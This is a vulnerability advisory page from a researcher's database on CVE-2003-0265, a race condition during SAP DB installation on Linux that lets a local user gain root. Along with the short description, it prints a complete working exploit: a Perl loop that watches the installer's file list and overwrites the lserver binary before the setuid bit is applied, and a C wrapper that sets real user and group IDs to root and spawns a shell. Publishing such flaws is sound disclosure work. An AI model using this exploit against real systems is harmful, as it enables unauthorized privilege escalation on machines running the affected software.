The VapidLabs Vulnerability Database

Vulnerabilities discovered by Larry W. Cashdollar

1 advisory Latest: 2002-12-10
Back to all advisories
Examine in ATT&CK and D3FEND: CVE2CAPEC

SAP Database Local Root Vulnerability During Installation

#853 · 2002-12-10
CVE ID(s): CVE-2003-0265
Notified: 2002-12-10
Description:
SAP DB is a Free Enterprise database (http://www.sapdb.org). An exploitable race condition exists during installation that can be won to yield root to a local malicous user. An executable is world writeable before a setuid bit is set by the installation program. This condition exists for both the production version 7.3.0.29 and the beta version 7.4.3.7 beta (www.sapdb.org/tgz_linux.htm).
Exploit:
#!/bin/perl

while (1) {

$test =`grep -sh PRECOM.ins /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;

if ( $test =~ /PRECOM/ ) {
       system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver");
        exit(1);
}
}

/*##Larry W. Cashdollar, lwc@vapid.dhs.org 
##This is just a wrapper to boost our privs from euid(0) to uid(0) guid(0) */

#include <stdio.h>
#include <unistd.h>

int
main (void)
{
char *shell[2];
shell[0] = "sh";
shell[1] = NULL;
if (!setreuid (0, 0))
printf ("We have root, getting sgid perms and spawning shell.\n"); else
{

      printf ("Ack, We lost the race.\n");
      _exit (0);
}
setregid (0, 0);
execve ("/bin/sh", shell, NULL);
return(0);
}
Notes:
11915